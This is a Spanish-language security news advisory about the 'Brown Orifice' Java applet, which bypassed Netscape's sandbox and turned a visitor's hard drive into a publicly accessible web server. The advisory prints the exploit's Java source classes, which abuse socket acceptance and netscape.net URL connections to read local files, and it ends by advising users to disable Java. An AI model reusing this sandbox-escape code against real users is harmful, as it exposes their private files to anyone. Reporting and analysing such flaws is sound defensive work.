Nuevos agujeros de seguridad permiten compartir los ficheros y
directorios locales de los sistemas de los usuarios con tan sólo
visitar una página web con el navegador de Netscape. Un applet
de Java diseñado para la ocasión consigue eludir las restricciones
de la «sandbox» de Netscape y abrir un puerto que convierte el
disco duro del visitante/víctima en un servidor web accesible por
cualquiera.
Dam Brumleve, un joven «hacker» de 22 años, ha desarrollado
«Brown Orifice HTTPD», un applet que convierte al navegador de
Netscape en un troyano-backdoor. La función de «BOHTTPD» consiste
en abrir un servidor web en el sistema del usuario y compartir su
disco duro, de forma que cualquiera puede acceder a sus ficheros
locales desde Internet con un simple navegador.
Para construir el applet, «BOHTTPD», aprovecha en primer lugar una
vulnerabilidad que permite abrir un servidor Java accesible de
forma remota por un cliente arbitrario. Esta vulnerabilidad es
explotada en BOServerSocket.java y BOSocket.java:
[BOServerSocket.java]
import java.io.IOException;
import java.lang.SecurityException;
import java.net.Socket;
import java.net.ServerSocket;
public class BOServerSocket extends ServerSocket {
public BOServerSocket(int port) throws IOException {
super(port);
}
public BOSocket accept_any() throws IOException {
BOSocket s = new BOSocket();
try { implAccept(s); } catch (SecurityException se) { }
return s;
}
}
[BOSocket.java]
import java.net.Socket;
import java.io.IOException;
public class BOSocket extends Socket {
public void close_real() throws IOException {
super.close();
}
public void close() {
}
}
En segundo lugar, aprovecha otra vulnerabilidad que permite acceder
a cualquier URL desde el applet cliente, incluyendo los ficheros
locales, de forma que facilita compartir el disco duro del usuario.
Esta vulnerabilidad es explotada en BOURLConnection.java y
BOURLInputStream.java:
[BOURLConnection.java ]
import java.net.MalformedURLException;
import java.net.URL;
import netscape.net.URLConnection;
public class BOURLConnection extends URLConnection {
public BOURLConnection(String u) throws MalformedURLException {
super(new URL(u));
connected = true;
}
public BOURLConnection(URL u) {
super(u);
connected = true; }
}
[BOURLInputStream.java]
import java.net.URL;
import java.io.IOException;
import netscape.net.URLInputStream;
import netscape.net.URLConnection;
public class BOURLInputStream extends URLInputStream {
public BOURLInputStream(URLConnection uc) throws IOException {
super(uc);
open();
}
}
Brumleve mantiene una página donde demuestra en la práctica como
funciona «Brown Orifice», en la cual podemos indicar el directorio
local que queremos compartir y el puerto en el que escuchará nuestro
servidor web. La demostración también recoge en una página web el
listado de todos los sistemas que están probando el applet, lo que
algunos ya están aprovechando para compartir MP3s y otros recursos.
Para cerrar el servidor web basta con cerrar la sesión de Netscape
que mantenemos abierta con el applet. Según una última nota del
autor, ha podido comprobar como un sistema Windows 2000 ha
continuado ejecutando «BOHTTPD» aun después de haber cerrado el
navegador, aunque de momento sería un hecho aislado del que no
se conocen más detalles.
Netscape no ha facilitado aun parche para corregir estas
vulnerabilidades, por lo que la única solución pasa por desactivar
el soporte de Java en sus navegadores.
Más información:
Brown Orifice:
http://www.brumleve.com/BrownOrifice/
bernardo@hispasec.com
Deja una respuesta